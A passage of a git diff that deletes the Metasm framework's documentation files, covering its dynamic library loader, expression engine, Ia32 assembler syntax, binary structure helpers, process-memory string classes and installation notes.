must specify a -C prototype, used for argument and return value conversion. - - class MyInterface < DynLdr - new_func_asm "int increment(int i);", < :size, :s_value => 42) - - # we can access fields using Hash-style access - s_obj['s_UniOn'] = 0xa8 - - # or Struct-style access - puts '0x%x' % s_obj.s_BiTS2 # => '0xa' - -This object can be directly passed as argument to a wrapped function, and -the native function will receive a pointer to this structure (that it can -freely modify). - -This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`. -Internally, it is based on a ruby `String`, and has a reference to the parser's -`Struct` to find the mapping membername -> offsets/length. - -See for more details. - - -Callbacks ---------- - -`DynLdr` handles C callbacks, with arbitrary ABI. - -Any number of callbacks can be defined at any time. - -C callbacks are backed by a ruby `Proc`, eg `lambda {}`. - - - class MyInterface < DynLdr - new_api_c < memory_read(p2, 1) - } - qsort(str, str.length, 1, cmp) - p str - end - - - -Argument conversion -------------------- - -Ruby objects passed to a wrapper method are converted to the corresponding -C type - -* `Strings` are converted to a C pointer to the byte buffer (also directly -accessible from the ruby through `DynLdr.str_ptr(obj)` -* `Integers` are converted to their C equivalent, according to the prototype -(`char`, `unsigned long long`, ...) -* `Procs` are converted to a C callback -* `Floats` are not supported for now. - - -Working with memory -------------------- - -DynLdr provides different ways to allocate memory. - -* `alloc_c_struct` to allocate a C structure -* `alloc_c_ary` to allocate C array of some type -* `alloc_c_ptr`, which is just an ary of size 1 -* `memory_alloc` allocates memory from a new memory page - -`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows, -and is suitable for allocating memory where you want to control -the memory permissions (read, write, execute). This is done through `memory_perm`. - -`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx') - -To work with memory that may be returned by an API (e.g. `malloc`), -DynLdr provides ways to read and write arbitrary pointers from the ruby -interpreter memory. -Take care, those may generate faults when called with invalid addresses that -will crash the ruby interpreter. - -* `memory_read` takes a pointer and a length, and returns a String -* `memory_read_int` takes a pointer, and returns an Integer (of pointer size, -e.g. 64 bit in a 64-bit interpreter) -* `memory_write` takes a pointer and a String, and writes it to memory -* `memory_write_int` - - -Hacking -------- - -Internally, DynLdr relies on a number of features that are not directly -available from the ruby interpreter. - -So the first thing done by the script is to generate a binary native module -that will act as a C extension to the ruby interpreter. -This binary is necessarily different depending on the interpreter. -The binary name includes the target architecture, in the format -dynldr-*arch*-*cpu*-*19*.so, e.g. - -* dynldr-linux-ia32.so -* dynldr-windows-x64-19.so - -This native module is (re)generated if it does not exist, or is older than the -`dynldr.rb` script. - -A special trick is used in this module, as it does not know the actual name -of the ruby library used by the interpreter. So on linux, the `libruby` is -removed from the `DT_NEEDED` library list, and on windows a special stub -is assembled to manually resolve the ruby imports needed by the module from -any instance of `libruby` present in the running process. - -The native file is written to a directory writeably by the current user. -The following list of directories are tried, until a suitable one is found: - -* the `metasm` directory itself -* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory -* the `$TMP`/`$TEMP`/current directory - diff --git a/lib/metasm/doc/core/ExeFormat.txt b/lib/metasm/doc/core/ExeFormat.txt deleted file mode 100644 index 55a874c80b..0000000000 --- a/lib/metasm/doc/core/ExeFormat.txt +++ /dev/null @@ -1,43 +0,0 @@ -ExeFormat -========= - -This class is the parent of all executable format handlers. - -It is defined in `metasm/exe_format/main.rb`. - -It defines some standard shortcut functions, such as: - -* `Exe.decode_file(filename)` -* `Exe.assemble(cpu,asm_source)` -* `Exe.compile_c(cpu,c_source)` -* `Exe#encode_file(filename)` - -These methods will instanciate a new Exe, and call the corresponding -methods, *e.g.* `load` with the file content, and `decode`. - -The handling of the different structures in the binary format should be -done using the facility. - -The subclasses are expected to implement various functions, depending on the -usage (refer to the ELF and COFF implementations for more details): - -File decoding/disassembly -------------------------- - -* `#decode_header`: parse the raw data in `#encoded` only to parse the file header -* `#decode`: parse all the raw data in `#encoded` -* `#cpu_from_headers`: return a instance according to the exe header information -* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc) -* `#dump_section_header`: return a string that may be assembled to recreate the specified section -* `#section_info`: return a list of generic section informations for the disassembler - - -File encoding/source parsing ----------------------------- - -* `#tune_prepro`: define exe-specific macros for the preprocessor (optional) -* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source -* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`... -* `#assemble`: assemble the content of the @cursource into binary section contents -* `#encode`: assemble the various sections and a binary header into `@encoded` - diff --git a/lib/metasm/doc/core/Expression.txt b/lib/metasm/doc/core/Expression.txt deleted file mode 100644 index 2009e39b28..0000000000 --- a/lib/metasm/doc/core/Expression.txt +++ /dev/null @@ -1,220 +0,0 @@ -Expression -========== - -Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g. -* `42` -* `eax + 12` -* `loc_4228h + 4*ebx - 12` - -These expressions can include `Integers`, `Symbols`, and `Strings`. - -The symbols and strings represent arbitrary variables, with the convention that -strings represent fixed quantities (eg addresses, labels), whereas symbols -represent more variable stuff (eg register values). - -There is also a special symbol that may be used, `:unknown`, to represent a -value that is known to be unknown. See the `reduce` section. - -See also . - -The Expression class holds all methods relative to Integer binary manipulation, -that is `encoding` and `decoding` from/to a binary blob (see also -) - - -Members -------- - -Expressions hold exactly 3 members: -* `lexpr`, the left-hand side of the expression -* `rexpr`, the right-hand side -* `op`, the operator - -`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or -Expression. For unary operators, `lexpr` is `nil`. - -`op` is a Symbol representing the operation. -It should be from the list: -* arithmetic: `+ - / * >> << & | ^` -* boolean: `|| && == != > >= < <=` -* unary: `+ - ~ !` - - -Instantiation -------------- - -In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`, -`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except -for negative numeric values, which is stored with `op` == `:-` and `rexpr` == -abs). - -If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called -recursively, to ease the definition of nested Expressions. - -Exemples: - - Expression[42] - Expression[:eax, :+, 12] - Expression[:-, 'my_var'] - Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]] - -The Expression class also includes a parser, to allow creating an expression -from a string. `parse_string!` will create an Expression and update its -argument to point after the last part read successfully into the expr. -The parser handles standard C operator precedence. - - str = "1 + var" - Expression.parse_string!(str) # => Expression[1, :+, "var"] - str = "42 bla" - Expression.parse_string!(str) # => Expression[42] - str # => "bla" - -Use `parse_string` without the ! to parse the string without updating it. - -External variables ------------------- - -The `externals` method will return all non-integer members of the Expression. - - Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"] - - -Pattern matching ----------------- - -The `match` method allows to check an Expression against a pattern without -having to check individual members. The pattern should be an Expression, -whose variable members should be Strings or Symbols, which are also passed as -arguments to the match function. On successful match, the correspondance -between variable patterns and their actual value matched is returned as a Hash. - - Expression[1, :+, 2].match(Expression['var', :+, 2], 'var') - # => { 'var' => 1 } - Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var') - # => nil - Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op) - # => { 'var' => 1, :op => :+ } - - -Reduction ---------- - -Metasm Expressions include a basic symbolic computation engine, that allows -some simple transformations of the Expression. The reduction will also -compute numerical values whenever possible. If the final result is fully -numeric, an Integer is returned, otherwise a new Expression is returned. - -In this context, the special value `:unknown` has a particular meaning. - - Expression[1, :+, 2].reduce - # => 3 - Expression[:eax, :+, [:ebx, :-, :eax]].reduce - # => Expression[:ebx] - Expression[1, :+, [:eax, :+, 2]].reduce - # => Expression[:eax, :+, 3] - Expression[:unknown, :+, :eax].reduce - # => Expression[:unknown] - -The symbolic engine operates mostly on addition/substractions, and -no-operations (eg shift by 0). It also handles some boolean composition. - -The detail can be found in the #replace_rec method body, in `metasm/main.rb`. - -The reduce method can also take a block argument, which will be called at -every step in the recursive reduction, for custom operations. If the block -returns nil, the result is unchanged, otherwise the new value is used as -replacement. For exemple, if you operate on 32-bit values and want to get rid -of `bla & 0xffffffff`, use - - some_expr.reduce { |e| - if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff - e.lexpr - end - } - - -Binding -------- - -An expression involving variable externals can be bound using a Hash. This will -replace any occurence of a key of the Hash by its value in the expression -members. The `bind` method will return a new Expression with the substitutions, -and the `bind!` method will update the Expression in-place. - - Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce - # => 12 - Expression[:eax, :+, :ebx].bind(:ebx => 42) - # Expression[:eax, :+, 42] - Expression[:eax, :+, :ebx].bind(:ebx => :ecx) - # Expression[:eax, :+, :ecx] - -You can use Expressions as keys, but they will only be used on perfect matches. - - -Binary packing --------------- - -Encoding -######## - -The `encode` method will generate an EncodedData holding the expression, either -as binary if it can reduce to an integral value, or as a relocation. -The arguments are the relocation type and the endianness, plus an optional -backtrace (to notify the user where an overflowing relocation comes from). - -The `encode_imm` class method will generate a raw String for a given -integral value, a type and an endianness. -The type can be given as a byte size. - - Expression.encode_imm(42, :u8, :little) # => "*" - Expression.encode_imm(42, 1, :big) # => "*" - Expression.encode_imm(256, :u8, :little) # raise EncodeError - -On overflows (value cannot be encoded in the bit field) an EncodeError -exception is raised. - -Decoding -######## - -The `decode_imm` class method can be used to read a binary value into an -Integer, with an optional offset into the binary string. - - Expression.decode_imm("*", :u8, :little) # => 42 - Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2 - - -Arithmetic coercion -------------------- - -Expression implement the `:+` and `:-` ruby methods, so that `expr + 4` -works as expected. The result is reduced. - - -Integer methods ---------------- - -The Expression class offers a few methods to work with integers. - -make_signed -########### - -`make_signed` will convert a raw unsigned to its equivalent signed value, -given a bit size. - - Expression.make_signed(1, 16) # => 1 - Expression.make_signed(0xffff, 16) # => -1 - - -in_range? -######### - -`in_range?` can check if a given numeric value would fit in a particular - field. The method can return true or false if it -fits or not, or `nil` if the result is unknown (eg the expr has no numeric -value). - - Expression.in_range?(42, :i8) # => true - Expression.in_range?(128, :i8) # => false - Expression.in_range?(-128, :i8) # => true - Expression.in_range?(Expression['bla'], :u32) # => nil - diff --git a/lib/metasm/doc/core/GNUExports.txt b/lib/metasm/doc/core/GNUExports.txt deleted file mode 100644 index e50800afe7..0000000000 --- a/lib/metasm/doc/core/GNUExports.txt +++ /dev/null @@ -1,27 +0,0 @@ -GNUExports -========== - -This class is defined in `metasm/os/gnu_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard linux API symbol names, and values -are the library name where you can find this symbol. - -The equivallent for windows is - -Usage ------ - -The main usage of this class is the automatic generation -of the dynamic tag `DT_NEEDED` from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols of the debian -glibc, from `libc.so.6` and `libdl.so.2`. - -Ruby symbols are also defined, from `libruby1.8.so.1.8`. diff --git a/lib/metasm/doc/core/Ia32.txt b/lib/metasm/doc/core/Ia32.txt deleted file mode 100644 index 3316d17106..0000000000 --- a/lib/metasm/doc/core/Ia32.txt +++ /dev/null @@ -1,234 +0,0 @@ -Ia32 -==== - -The Ia32 architecture, aka *Intel_x86*, is the most advanced among the -architectures implemented in the framework. It is a subclass of the -generic . - -It can handle binary code for the 16 and 32bits modes of the processor. - -It is a superclass for the object, a distinct processor -that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*) - -The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix -if bigendian) - -Opcodes -------- - -The opcodes list can be customized to match that available on a specific -version of the processor. The possibilities are: - -* 386_common -* 386 -* 387 -* 486 -* pentium -* p6 -* 3dnow -* sse -* sse2 -* sse3 -* vmx -* sse42 - -Most opcodes are available in the framework, with the notable exception of: - -* most sse2 simd instructions -* the AVX instructions -* amd-specific instructions - -The `386_common` family is the subset of 386 instruction that are most -commonly found in standard usermode programs (no `in`/`out`/bcd -arithmetic/far call/etc). -This can be useful when manipulating stuff that in not known to be i386 -binary code. - - -Initialization --------------- - -An Ia32 object can be created using the following code: - - Metasm::Ia32.new - -The `X86` alias may be used in place of `Ia32`. - -The constructor accepts optional arguments to specify the CPU size, the -opcode family, and the endianness of the processor. The arguments can -be given in any order. For exemple, - - Metasm::Ia32.new(16, 'pentium', :big) - -will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family, -in big-endian mode. - -The Ia32 initializer has the convenience feature that it will create an -X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an -X86_64 instance) - - -Assembler ---------- - -The parser handles only Intel-style asm syntax, *e.g.* - - some_label: - mov eax, 10h - mov ecx, fs:[eax+16] - push dword ptr fs:[1Ch] - call ecx - test al, al - jnz some_label - ret - fmulp ST(4) - - -Instruction arguments -##################### - -The parser recognizes standard registers, such as - -* `eax` -* `ah` -* `mm4` (mmx 64bit register) -* `xmm2` (xmm 128bit register) -* `ST` (current top of the FPU stack) -* `ST(3)` (FPU reg nr.3) -* `cs` (segment register) -* `dr3` (debug register) -* `cr2` (control register) - -It also supports inexistant registers, such as - -* `cr7` -* `dr4` -* `segr6` (segment register nr.6) - -The indirections are called `ModRM`. They take the form: - -* `[eax]` (memory pointed by `eax`) -* `byte ptr [eax]` (1-byte memory pointed by `eax`) -* `byte [eax]` (same as previous) -* `fs:[eax]` (offset `eax` from the base of the `fs` segment) -* `[fs:eax]` (same as previous) - -The pointer itself can be: - -* `[eax]` (any register) -* `[eax+12]` (base + numeric offset) -* `[eax+ebx]` (base + register index) -* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index) -* `[eax + 2*ebx + 42]` (both) - -Note that the form base + s*index cannot use `esp` as index with s != 1. - -For indirection sizes, the size is taken from the size of other arguments -if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]` -will be 1). The explicit size specifier can be: - -* `byte` (8bits) -* `word` (16) -* `dword` (32) -* `qword` (64) -* `oword` (128) -* `_12bits` (12, arbitrary numbers can be used) - - -Parser commands -############### - -The following commands are recognized in an asm source: - -* `.mode` -* `.bits` - -They are synonymous, and serve to change the mode of the processor to either -16 or 32bits. - -They should be the first instruction in the source, changing the mode during -parsing is not supported. This would change only the mode for the next -instructions to be parsed, and for all instructions (incl. those already parsed -at this point) when encoding, which is likely **not** what you want. See the -`codeXX` prefixes. - -Note that changing the CPU size once it was created may have bad side-effects. -For exemple, some preprocessor macros may already have been generated according -to the original size of the CPU and will be incorrect from this point on. - - -Prefixes -######## - -The following prefixes are handled: - -* `lock` -* `rep`, `repz`, `repnz`, `repe`, `repne` -* `code16`, `code32` - -The `repXX` prefixes are for string operations (`movsd` etc), but will be set -for any opcode. Only the last of the family will be encoded. - -The `code16` will generate instructions to be run on a CPU in 16bit mode, -independantly of the global CPU mode. For exemple, - - code16 mov ax, 42h - -will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or -run incorrectly on an 32bit CPU. - -The encoder also has code to handle `jmp hints` prefixes, but the parser has -no equivalent prefix support. - -There is currently no way to specify a segment-override prefix for instruction -not using a ModRM argument. Use a `db 26h` style line. - - -Suffixes -######## - -The parser implements a specific feature to allow the differenciation of -otherwise ambiguous opcodes, in the form of instruction suffixes. - -By default, the assembler will generate the shortest encoding for a given -instruction. To force encoding of another form you can add a specific -suffix to the instruction. In general, metasm will use e.g. register sizes -when possible to avoid this kind of situations, but with immediate-only -displacement this is necessary. - - or.a16 [1234h], eax ; use a 16-bit address - or [bx], eax ; use a 16-bit address (implicit from the bx register) - or eax, 1 ; "\x83\xc8\x01" - or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding) - or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field) - movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di]) - push.i16 42h ; push a 16-bit integer - -The suffixes are available as follow: - -* if the opcode takes an integer argument that can be encoded as either a 8bits or bits, the `.i` and `.i8` variants are created -* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created -* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created - - -C parser --------- - -The Ia32 C parser will initialize the type sizes with the `ilp32` memory -model, which is: - -* short = 16bits -* int = 32bits -* long = 32bits -* long long = 64bits -* pointer = 32bits - -In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits -compiler has not been tested anyway). - -The following macros are defined (in the asm preprocessor too) - -* `_M_IX86` = 500 -* `_X86_` -* `__i386__` - diff --git a/lib/metasm/doc/core/SerialStruct.txt b/lib/metasm/doc/core/SerialStruct.txt deleted file mode 100644 index c4ce128743..0000000000 --- a/lib/metasm/doc/core/SerialStruct.txt +++ /dev/null @@ -1,108 +0,0 @@ -SerialStruct -============ - -This is a helper class to handle binary packed data, especially to -represent structures. - -The implementation is in `metasm/exe_format/serialstruct.rb`. - -Basics ------- - -The class defines some class methods, such as: - -* `dword` -* `byte` -* `strz` - -These methods can be used directly in subclass definitions, e.g. - - class MyHeader < SerialStruct - dword :signature - dword :length - end - -This will associate the sequence of fields to this structure, which -is used in the `#encode` and `#decode` methods. -These methods rely on an instance to define -the corresponding `decode_dword` and `encode_dword` methods. - -You can then simply call: - - hdr = MyHeader.decode(myexefmt) - -which will call `myexefmt.decode_word` twice to populate the -`signature` and `length` fields of the MyHeader.instance. - -You can also redefine the `#decode` method to handle special cases. - - -The fields defined this way can be assigned a default value that -will be used when encoding the structure. The syntax is: - - dword :fieldname, defaultvalue - -If you have a long sequence of identically-typed fields, you can use -the plural form: - - dwords :f1, :f2, :f3, :f4 - -To define your own field types, you should create a new subclass and call the -`new_field` class method. For integral fields, use `new_int_field(fldname)` -that will automatically define the decode/encode routines, and create the -plural form. - - class MyStruct < SerialStruct - new_int_field :zword - zwords :offset, :length - end - - -Symbolic constants ------------------- - -The class has built-in support for symbolic constants and bit fields. - -For exemple, suppose you have a numeric `:type` field, which corresponds -to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use: - - TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' } - - dword :type - fld_enum :type, TYPES - -With this, the standard '#decode' method will first decode the numeric value -of the field, and then lookup the value in the enum hash to find the -corresponding symbol, and use it as the field value. -If there is no mapping, the numeric value is retained. The reverse operation -is done with `#encode`. - -For the bitfields, the method is `fld_bits`, and the software will try to -match *OR-ed* values from the bitfield to generate an array of symbols. - - BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' } - - dword :foo - fld_bits :foo, BITS - -which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]` - -The hashes used for fld_bits or fld_enum can be dynamically determined, by -using the block version of those methods. The block will receive the ExeFormat -instance and the SerialStruct instance, and should return the Hash. -This can be useful when a bitfield signification varies given some generic -property of the exe, eg the target architecture. - - -Hooks ------ - -It is also possible to define a hook that will be called at some point during -the object binary decoding. It will receive the exe and struct instances. - - class Header < SerialStruct - dword :machine - decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 } - dword :bodylength - end - diff --git a/lib/metasm/doc/core/VirtualString.txt b/lib/metasm/doc/core/VirtualString.txt deleted file mode 100644 index 01f8fe5b80..0000000000 --- a/lib/metasm/doc/core/VirtualString.txt +++ /dev/null @@ -1,145 +0,0 @@ -VirtualString -============= - -This class is an abstract representation of an arbitrary sized byte array -with methods to load parts of it on demand. It is useful to represent -a program virtual memory and allow metasm to work on it while only reading -bytes from it when actually needed. - -The base class is defined in `metasm/os/main.rb`. - - -Basics ------- - -The API of the object is designed to be compatible with a standard String (ASCII-8BIT). -The main restriction is that the size of this string cannot be changed: -concatenation / shortening is not supported. - -The main operation on the object should be `[]` and `[]=`, that is, -reading some subpart of the string, or overwriting some substring. -The arguments are the same as for a String, with the exception that -rewrite raises an IndexError if the rewriting would change the string -length. - -A few methods are written specifically with the VirtualString semantics, -others are redirected to a temporary real String generated with `realstring`. - -The VirtualString works with a `page` concept, that represents some arbitrary -chunks of data that can be actually read from the underlying target, e.g. a -memory page (4096 bytes) when mapping a process virtual address space. -Instances get to define a `pagelength` sound for the specific implementation. - -Whenever a substring is requested from a VirtualString, if the substring -length is less than the page size, an actual read is made and a String is -returned. - -If the length is greater however, a new VirtualString is created to map this -new *view* without actually reading. - -To force the conversion to a String, use the `realstring` or `to_str` method. -The latter is prefered, as it works on both Strings and VirtualStrings. - -To force the creation of a new VirtualString, use the `dup(start, len)` method. - -When reading actual bytes, a local page cache is used. By default is has only 4 -pages, and can be invalidated using `invalidate`. -The cache is automatically invalidated when part of the string is written to. - -The VirtualString may index *invalid* pages (e.g. unmapped memory range in a -process address space) ; you can check that with `page_invalid?` with an index -as parameter. - - -Creation --------- - -To create your own flavor of VirtualString, you must: - -* define your subclass that inherits from `VirtualString` -* define your initializer, that takes whatever arguments make sense (e.g. a -*pid*, *handle*, Socket..) -* your initializer must call super(a, l) with arguments: -** current view absolute address (should default to 0), will be saved in -`@addr_start` -** current view size (should default to something sensible, like 1<<32), saved -in `@length` -* your initializer can override the default page size by defining the -`@pagelength` variable. -* implement a `dup` method that takes optional arguments: -** new base address (default=`@addr_start`) -** new length (default=`@length`) -** returns a new instance of your class mapping over the specified window -* implement a `get_page` method, whose arguments are: -** absolute page address (will always be page-aligned) -** optional length, default=`@pagelength` -** returns a String of `length` bytes, or `nil` (e.g. unmapped area) -* optionally implement a `rewrite_at` method, to make your string writeable. -Arguments are the absolute write address, and the data to write there (a String). - -Feel free to override any other method with an optimized version. -For exemple, the default `realstring` will repeatadly call `get_page` with -each page in the range 0..`length`, you may have a more efficient alternative. - -You can alter the cache size by rewriting the `@pagecache_len` variable -**after** calling `super()` in `initialize`. The default value is 4, which you -may want to increase. - -See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid` -method). - -Standard subclasses -------------------- - -VirtualFile -########### - -Defined in `metasm/os/main.rb`. - -This class maps over an open file descriptor, and allows reading data on-demand. -It implements the `read` class method, similar to `File.read`, with the -file opened in binary mode. For a small file (<=4096), the content is -directly returned, otherwise a VirtualString is created. - -This class is used by the default `decode_file[_header]` -methods. - - -LinuxRemoteString -################# - -Defined in `metasm/os/linux.rb`. - -This class maps over the virtual memory of a Linux process. -Accesses are done through the `/proc//mem` for reading. -The linux kernel requires that the target process be ptraced before we can -read this file, so the object will use the debugger instance passed to the -constructor, or create a new object to stop the process -and read its memory during `get_page`. - -If a object was given, `get_page` will return `nil` if the -debugger indicates that the target is not stopped. - -Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`. - - -WindowsRemoteString -################### - -Defined in `metasm/os/windows.rb`. - -This class maps over the virtual memory of a Windows process. - -The memory accesses are done using the `Read/WriteProcessMemory` API. - -The class method `open_pid` is defined, that will try to `OpenProcess` -first in read/write, and fallback to read-only mode. - - -GdbRemoteString -############### - -Defined in `metasm/os/remote.rb`. - -Maps over the virtual memory of a remote process debugged with a - instance, using `setmem` and `getmem`. diff --git a/lib/metasm/doc/core/WindowsExports.txt b/lib/metasm/doc/core/WindowsExports.txt deleted file mode 100644 index f483e77167..0000000000 --- a/lib/metasm/doc/core/WindowsExports.txt +++ /dev/null @@ -1,61 +0,0 @@ -WindowsExports -============== - -This class is defined in `metasm/os/windows_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard win32 API symbol names, and values -are the library name where you can find this symbol. - -The equivalent for GNU/Linux is - -Usage ------ - -The main usage of this class is the automatic generation -of the import directories from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols available in the -Windows XP SP2 32-bit standard libraries: - -* `ntdll` -* `kernel32` -* `user32` -* `gdi32` -* `advapi32` -* `ws2_32` -* `msvcrt` -* `comdlg32` -* `psapi` - - -Ruby symbols are also defined, from `msvcrt-ruby18`. - - -Ruby library name ------------------ - -On creation, the current ruby library name is inferred -from the `RUBY_PLATFORM` constant, in an effort to -try to use the available ruby library filename. - -The only transformation supported now is to rewrite -the ruby version number appearing in the filename for -msvcrt-compiled binaries, so that you get the correct -`msvcrt-ruby192` name for exemple under ruby1.9. - -This is implemented in the `patch_rubylib_to_current_interpreter` -method (which is aptly named). - -Warning -####### - -Note that binaries compiled this way will not work on -other machines where the exact same library is unavailable. - diff --git a/lib/metasm/doc/core/index.txt b/lib/metasm/doc/core/index.txt deleted file mode 100644 index ba60d4c253..0000000000 --- a/lib/metasm/doc/core/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/core_classes.txt b/lib/metasm/doc/core_classes.txt deleted file mode 100644 index a39c38fa3e..0000000000 --- a/lib/metasm/doc/core_classes.txt +++ /dev/null @@ -1,75 +0,0 @@ -Core classes -============ - -Core ----- - -* -* -* -* -* - -CPUs ----- - -* -* -* -* -* -* - -ExeFormats ----------- - -* -* -* - -* -* -* -* - -C ----- - -* -* -* - -Debugger --------- - -* -* -* -* -* -* -* - -Disassembler ------------- - -* -* -* -* -* - -GUI ----- - -* -* -* - -* -* - -Others ------- - -* diff --git a/lib/metasm/doc/feature_list.txt b/lib/metasm/doc/feature_list.txt deleted file mode 100644 index 26e7c5b02a..0000000000 --- a/lib/metasm/doc/feature_list.txt +++ /dev/null @@ -1,53 +0,0 @@ -Metasm feature list -=================== - -Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger. - -See - -Architectures -------------- - -It is written in such a way that it is easy to add support for new architectures. -For now, the following architectures are in: - -* Intel (16 and 32bits) -* Intel (*aka* Ia32 64bits, X64, AMD64) -* MIPS -* PowerPC -* Sh4 - -The developpement is generally more focused on Ia32 and X86_64. - - -File formats ------------- - -The following executable file formats are supported: - -* (raw binary) -* / (32/64bits) -* (32/64bits) - -Those are supported in a more limited way: - -* Mach-O, UniversalBinary -* MZ -* A.out -* XCoff -* NDS - - -Features --------- - -The framework includes - -* a graphical -* a graphical -* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer) -* an advanced disassembler engine, with limited emulation support -* a full (with preprocessor) -* an experimental (Ia32 only) -* an experimental (Ia32 only) - diff --git a/lib/metasm/doc/index.txt b/lib/metasm/doc/index.txt deleted file mode 100644 index 8cd8f8fecb..0000000000 --- a/lib/metasm/doc/index.txt +++ /dev/null @@ -1,59 +0,0 @@ -The Metasm framework documentation -================================== - -Metasm ------- - -The Metasm framework is an opensource software designed to interact with -the various forms of binary code. It is written in pure Ruby -(). - -More detailed informations can be found in the . - -It is distributed freely under the terms of the LGPL. - -Documentation organisation --------------------------- - -This documentation is split in different parts : - -* the -* the major -* - -The first part describes the internal structure of the framework, the -second part is a higher level overview of the software and shows how -the various parts are used and can interract. The last part explains -the role of the source files and directories. - - -Documentation progress ----------------------- - -The documentation is written here and there in my free time, and is **very** -**incomplete** as of now. Specifically, all internal links you'll find -ending in `.txt` are link to pages that have not been written yet. - - -Install notes -------------- - -See the - -Authors -------- - -Metasm is mostly written by Yoann Guillot. - -Some parts were added by various contributors, including : -* Julien Tinnès -* Raphaël Rigo -* Arnaud Cornet -* Alexandre Gazet - -Contact -------- - -The latest version of this documentation can be found on the Metasm site: - -Patches, bug reports, feature requests should be sent to metasm@cr0.org diff --git a/lib/metasm/doc/install_notes.txt b/lib/metasm/doc/install_notes.txt deleted file mode 100644 index c881f9ac58..0000000000 --- a/lib/metasm/doc/install_notes.txt +++ /dev/null @@ -1,170 +0,0 @@ -Metasm installation notes -========================= - -Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any -ruby library (except the `metasm/gui`, which may use `gtk2`). - -So the install is quite simple. - - -Download --------- - -Metasm is distributed using the `mercurial` source control system. - -The recommanded way to install is to use that tool, so you can always be -up-to-date with the latest developpements. - -You will also need the Ruby interpreter (version 1.8 and 1.9 are supported). - -Linux -##### - -Issue the following commands to install the `mercurial` and `ruby` software - - sudo apt-get install ruby - sudo apt-get install mercurial - -Then download metasm with - - hg clone http://metasm.cr0.org/hg/metasm/ - -This will create a new directory `metasm/` with the latest version of the -framework. - - -Windows -####### - -The ruby website offers many ruby packages. The *RubyInstaller* should -work fine. Go to , under the -`Ruby on Windows` section. - -The `mercurial` website has links to various installers: - -Choose one, then use the `clone repository` command with the following -url: - - http://metasm.cr0.org/hg/metasm/ - -This will create a new subdirectory `metasm/` with the latest version of -the framework. - - -Upgrading ---------- - -To upgrade to the latest and greatest version, launch a shell prompt and -navigate to the metasm directory, then issue: - - hg pull -u - -which will upgrade your installation to the latest available version. - -With `TortoiseHG`, simply issue the `upgrade` command on the `metasm` -directory. - - -Local installation ------------------- - -If you simply want to install metasm for your personnal usage (VS a -system-wide installation), follow these steps. - -Download the metasm source files under any directory, then update the -environment variable `RUBYLIB` to include this path. The path you add -should be the directory containing the `metasm.rb` script and the `metasm/`, -`samples/`, `doc/` subdirectories. - -If `RUBYLIB` is empty or non-existant, simply set its value to the directory, -otherwise you can append the path to an existing list by separating the values -with a `:` such as: - - RUBYLIB='/foo/bar:/home/jj/metasm' - -Linux -##### - -Under linux or cygwin, this is done by modifying your shell profile, e.g. -`~/.bash_profile`, by adding a line such as: - - export RUBYLIB='/home/jj/metasm' - -You may need to restart your session or start a new shell for the changes -to take effect. - -Windows -####### - -The environment variables can be set through : - -* rightclick on `my computer` -* select tab `advanced` -* click `environment variables` - -If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise -create a new variable `RUBYLIB` with the path as value. - -You may need to restart your session for the changes to take effect. - - -Systemwide installation ------------------------ - -For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby` -directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\` -for windows users) with the content - - # if metasm.rb can be found in /home/jj/metasm/metasm.rb - require '/home/jj/metasm/metasm' - - -Testing -------- - -Open a new shell session and type - - ruby -r metasm -e "p Metasm::VERSION" - -It should print a single line with a (meaningless) number in it. - - -Gui ----- 